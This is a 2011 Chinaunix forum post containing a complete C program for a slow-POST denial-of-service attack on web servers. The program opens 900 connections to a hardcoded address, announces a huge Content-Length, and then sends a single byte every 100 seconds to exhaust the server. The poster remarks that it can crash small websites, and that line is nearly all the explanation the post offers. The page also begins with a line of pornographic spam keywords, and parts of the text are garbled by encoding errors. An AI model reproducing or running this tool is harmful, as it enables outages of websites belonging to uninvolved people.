亚洲av成人无遮挡网站在线观看,少妇性bbb搡bbb爽爽爽,亚洲av日韩精品久久久久久,兔费看少妇性l交大片免费,无码少妇一区二区三区

  免費(fèi)注冊 查看新帖 |

Chinaunix

  平臺 論壇 博客 文庫
最近訪問板塊 發(fā)新帖
查看: 1454 | 回復(fù): 0
打印 上一主題 下一主題

say sorry to WEB(http) [復(fù)制鏈接]

論壇徽章:
0
跳轉(zhuǎn)到指定樓層
1 [收藏(0)] [報(bào)告]
發(fā)表于 2011-12-22 08:53 |只看該作者 |倒序?yàn)g覽
http 的DDOS的攻擊應(yīng)該引起重視.
下面的代碼簡單的展示了WEB的攻擊原理:
  1. #include <stdio.h>
  2. #include <sys/socket.h>
  3. #include <sys/types.h>
  4. #include <string.h>
  5. #include <arpa/inet.h>
  6. #include <errno.h>
  7. #include <stdlib.h>
  8. #include <unistd.h>

  9. #if 1
  10. char buf[] = "POST /a HTTP/1.1\r\nHost: www.xxxx.com\r\nUser-Agent: Mozilla/5.0 (X11; U; Linux x86_64; zh_CN; rv:1.9.0.3) Gecko/2010072118 Firefox/3.0.3\r\nKeep-Alive: 900\r\nConnection: keep-alive\r\nContent-Length: 100000000\r\nContent-Type: application/x-www-form-urlencoded;charset=UTF-8\r\nAccept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8\r\nAccept-Language: zh-cn,zh;q=0.5\r\nAccept-Encoding: gzip,deflate\r\nAccept-Charset: gb2312,utf-8;q=0.7,*;q=0.7\r\nPragma: no-cache\r\nCache-Control: no-cache\r\n\r\n";
  11. #endif

  12. #if 0
  13. char buf[] = "GET / HTTP/1.1\r\nHost: www.xxx.xxx.com\r\nUser-Agent: Mozilla/5.0 (X11; U; Linux x86_64; zh_CN; rv:1.9.0.3) Gecko/2010072118 Firefox/3.0.3\r\nAccept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8\r\nAccept-Language: zh-cn,zh;q=0.5\r\nAccept-Encoding: gzip,deflate\r\nAccept-Charset: gb2312,utf-8;q=0.7,*;q=0.7\r\nKeep-Alive: 300\r\nConnection: keep-alive\r\nif-Modified-Since: Thu, 25 Aug 2011 02:30:24 GMT\r\n\r\n";
  14. #endif

  15. int main(int argc, char *argv[])
  16. {
  17.     int fd;
  18.     struct sockaddr_in ser;
  19.     socklen_t lenth;
  20.     int num = 900;
  21.     int fd_buf[num];
  22.     
  23.     memset(&ser, 0, sizeof(ser));
  24.     ser.sin_family = AF_INET;
  25.     ser.sin_port = htons(80);
  26.     ser.sin_addr.s_addr = inet_addr("172.16.0.254");

  27.     printf(buf);
  28.     int i, num_data;
  29.     for(i = 0; i< num; i++){
  30.         if((fd = socket(AF_INET, SOCK_STREAM, 0)) < 0){
  31.                 fprintf(stderr, "socket fail:%s\n", strerror(errno));
  32.             exit(1);
  33.         }

  34.         lenth = sizeof(ser);
  35.         if((connect(fd, (struct sockaddr*)&ser, sizeof(ser))) != 0){
  36.             fprintf(stderr, "connect fail:%s\n", strerror(errno));
  37.             exit(1);
  38.         }

  39.         fd_buf[i] = fd;
  40.         num_data = write(fd, buf, sizeof(buf) - 1);
  41.         printf("write num:%d\n", num_data);

  42.     }

  43.     while(1){
  44.         for(i = 0; i < num; i++){
  45.             write(fd_buf[i], "a", 1);
  46.             sleep(100);
  47.         }
  48.     }

  49.     return 0;
  50. }
上面的代碼很簡單,攻擊程序的代碼以想相當(dāng)小的負(fù)荷卻足以讓一般小型的網(wǎng)站崩潰。






您需要登錄后才可以回帖 登錄 | 注冊

本版積分規(guī)則 發(fā)表回復(fù)

  

北京盛拓優(yōu)訊信息技術(shù)有限公司. 版權(quán)所有 京ICP備16024965號-6 北京市公安局海淀分局網(wǎng)監(jiān)中心備案編號:11010802020122 niuxiaotong@pcpop.com 17352615567
未成年舉報(bào)專區(qū)
中國互聯(lián)網(wǎng)協(xié)會會員  聯(lián)系我們:huangweiwei@itpub.net
感謝所有關(guān)心和支持過ChinaUnix的朋友們 轉(zhuǎn)載本站內(nèi)容請注明原作者名及出處

清除 Cookies - ChinaUnix - Archiver - WAP - TOP